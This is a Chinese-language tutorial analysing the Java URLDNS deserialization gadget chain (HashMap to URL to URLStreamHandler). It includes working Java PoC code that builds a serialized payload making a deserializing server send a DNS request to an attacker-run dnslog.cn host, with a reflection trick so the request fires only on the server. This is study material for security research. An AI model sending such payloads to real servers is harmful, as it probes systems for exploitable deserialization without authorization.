反序列化发掘依据:
1)调用链中使用的类可被序列化
2)调用链中使用的类属性可被序列化
反序列化发掘方法:
1)入口类重写readObject方法
2)入口类可传入任意对象(这种类一般为集合类)
3)执行类可被利用执行危险或任意函数
这条链算是JDK链里最简单的,作为入门可以看看,下面进行正向分析。
(小白们建议使用低版本的JDK去调试这个链,比如JDK8,这样调用反射时不会出现报错)
一、java.util.HashMap(入口类)
(一)入口类
首先说明入口类的概念,在这条链中,入口类可以被理解为JDK中经常被使用的类,并且其继承了Serializable
接口、具备readObject
方法、readObject
方法中会调用一些类以及该类的某种方法(这种方法中可直接或间接调用危险函数)。
(二)分析
1)
这里选中HashMap
类,并分析其readObject
方法。
首先继承了Serializable
接口:
重写了readObject
方法:
【因为HashMap<K,V>
:存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key
进行hash,这样一来就需要重写readObject
方法。】
2)
我们这里选择分析readObject
中调用的hash()
方法。进行跟进。
可以看到,这里使用传入参数对象key
的hashCode
方法。由于很多类中都具有hashCode
方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M
,其hashCode
方法中直接或间接可调用危险函数。
带着这种想法去找这么一个类M
,最后,找到URL
类可作为我们所说的类M
(找寻过程需要对JDK很多类进行了解和分析)。
3)
接下来先解决当前问题:确定HashMap在readObject过程中能够正常执行到putVal()
方法这里,以及传入hash
方法中的参数对象key
可控。
首先可以看到,参数对象Key
由s.readObject()
获取
其中s
为输入的序列化流(证明key
可控)
其次,要执行这个for循环需要满足这个else if
条件
而mappings由s.readInt()
确定,即mappings的长度,也就是我们将HahsMap
序列化前其不为空即可。
二、java.net.URL(调用链中的类)
(一)分析
4)
回到步骤(2)中的URL
类
跟进URL
类的hashCode
方法
可以看到当hashCode
属性的值为-1时,跳过if条件,执行handler
对象的hashCode
方法,并将自身URL
类的实例作为参数传入。
5)
跟进handler
对象的hashCode
方法
确定handler
属性中保存的是URLStreamHandler
类的实例。并且在调用其hashCode
方法时,会执行getHostAddress
方法(getHostAddress
方法中会获取传入的URL
对象的IP,也就是会进行DNS请求,详情可以自己跟踪下去这个方法的实现,这里不多赘述)。
所以我们这里的目标就是通过入口类HashMap
以及该调用链,实现JDK在反序列化我们构造的对象时,向我们设定好的DNS发起请求。
6)
首先,我们要确认URL
类中的属性handler
是否初始值不为null、或者可否被序列化(判断能否序列化可以看这个文章https://www.runoob.com/w3cnote/java-transient-keywords.html)。
因为如果初始值不为null,我们就特意去构造创建这么一个URLStreamHandler
类的实例;如果为null,但可被序列化,那我们可以构造创建这么一个实例,来使其满足调用链。
在此处跟进handler
可以看到不满足我们上面期望的两种情况,handler
属性不可被序列化、并且值默认为null。这样一来,我们不能保证完全使用这条链。需要进一步确定。
7)
搜索handler
被使用的地方(URL
类的对象初始化方法中)。
可以看到,handler
属性通过context.handler
来赋值
跟进context
显然,这里的context
还是URL
类的实例,说明这条构造方法通过其他构造方法来调用。
找到调用该构造方法的另一个构造方法:
可以看到,刚才的构造方法在这里进行调用,并且传入的handler
参数为null
再往上查找,又找到一个构造方法,这里调用了刚才第二个构造方法,并且其构造只有一个传参
通过上面的英文注释,可以知道这里的唯一字符串传参,最后可被解析为URL。
8)
所以重新缕一下URL
类对应实例的构造过程
通过new URL("http://xxx.xxx")创建实例,构造顺序如下:
通过单参数构造方法,调用双参数构造方法,传入的参数context为null
又通过双参数构造方法,调用了三参数构造方法,传入的参数context和handler都为null
进入到三参数构造方法:
来到protocol
属性赋值这里,这里的newProtocol
在上面字符串截取中已经被赋值,根据上面的spec参数,这里大概应该是http。
根据上面代码的执行情况,context还未被赋值,所以这条if语句中,context
依然为空,不会执行
接下来的if判断,由于protocol被赋值,第一个if语句不会被执行
第二个if语句,此时handler还未被赋值,为null;
接下来的条件与中handler = getURLStreamHandler(protocol)
,调用了getURLStreamHandler
方法给handler
赋值。(有兴趣看细节的可以自己跟进这个方法)
然后handler
再赋值给了this.handler
至此,确定this.handler
在初始化过程中会被赋值,所以我们不用担心步骤(6)中为null的情况。
9)
我们回到步骤(6)中需要的条件
我们执行handler.hashCode()
需要满足hashCode属性的值为-1
跟进hashCode属性
可以看到hashCode
值默认为-1,满足条件。
三、java.net.URLStreamHandler(执行类)
这里补充一下执行类这个概念,首先从步骤(5)可以知道,最终执行的危险函数是URLStreamHandler
实例的方法getHostAddress()
。而URL
类只是起到中间者的身份,在这整个链中,HashMap
类作为入口类并在readObject
时调用了URL
类hashCode
方法,而URL类中的hashCode
方法又调用了URLStreamHandler
的危险方法。
四、编写和调试
(一)初步编写
10)编写序列化POC
//test1.java
import java.net.URL;
import java.io.*;
import java.util.HashMap;
public class test1 {
public static void main(String[] args) throws IOException {
URL url = new URL("http://abc.yqev2k.dnslog.cn");
HashMap hashmap = new HashMap();
hashmap.put(url,"ABC");
FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
}
}
11)编写反序列化代码,模拟服务端反序列化过程
//unser.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class unser {
public static void main(String[] args) throws Exception {
FileInputStream fileInputStream = new FileInputStream("./test1.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
}
}
12)问题
首先,在序列化生成POC的过程完毕后,我们查看DNSlog时,发现DNSlog居然收到了请求(这个请求是来自我们攻击方生成序列化POC时发出的,而不是我们真正想要的、服务端在反序列化过程发出的)
显然,在序列化代码中,有步骤调用了URL
实例的hashCode
方法
13)分析
我们可以下断点调试,也可以自己跟进去分析。
因为这里代码比较少,我们可以直接猜测出来,在执行这一步时,URL
实例的hashCode
方法被调用了。
跟进put
方法
可以看到这里也会调用hash(key)
,所以导致了序列化过程对DNSlog进行请求。
14)初步解决
为了避免这一情况,可以利用步骤(4)中的hashCode
属性:
在执行put
方法前,将URL
实例的hashCode
属性的值修改为非-1
下面跟进hashCode
属性
可以看到其修饰符为private
,所以我们无法直接进行修改,这需要用到反射的方式。
(如果不理解“反射”的知识需要先去学习)
(二)再次编写
15)调试
import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;
public class test1 {
public static void main(String[] args) throws Exception {
URL url = new URL("http://abc.6kengh.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field hashcode = clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
HashMap hashmap = new HashMap();
hashmap.put(url,"ABC");
FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
}
}
此时,反序列化过程DNSlog已经不会收到查询
16)分析
但在服务端反序列化过程中,并没有像预期一样向DNSlog发送查询。
细心的人可以发现到,UR
实例的hashCode
属性已经修改为非-1,所以在反序列化时不会进入到URLStreamHandler
实例的hashCode
方法。
为了方便一些人理解,下面设下断点来调试看看:
首先,DNSlog不收到请求,肯定是HashMap
在readObject
的过程出了问题,所以断点设在其readObject
方法上
一路Step Over跟进到putVal
这里(其实断点设在这更好)
Step into,然后选择hash
进行Step into
可以看到一切都没问题,继续Step into跟进
这时,我们看到hashCode
属性的值为123,并非-1,所以这就是DNSlog收不到信息的原因。
17)解决
因此,在反射调用修改hashCode
的值后,需要在hashmap.put()
赋值后面重新将hashCode
修改回-1
import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;
public class test1 {
public static void main(String[] args) throws Exception {
URL url = new URL("http://abc.6kengh.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field hashcode = clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
HashMap hashmap = new HashMap();
hashmap.put(url,"ABC");
hashcode.set(url,-1);
FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
}
}
这样一来,模仿的反序列化过程DNSlog可以收到请求
补充
一)
其实步骤(7)(8)(9)的分析过程可以直接用程序证明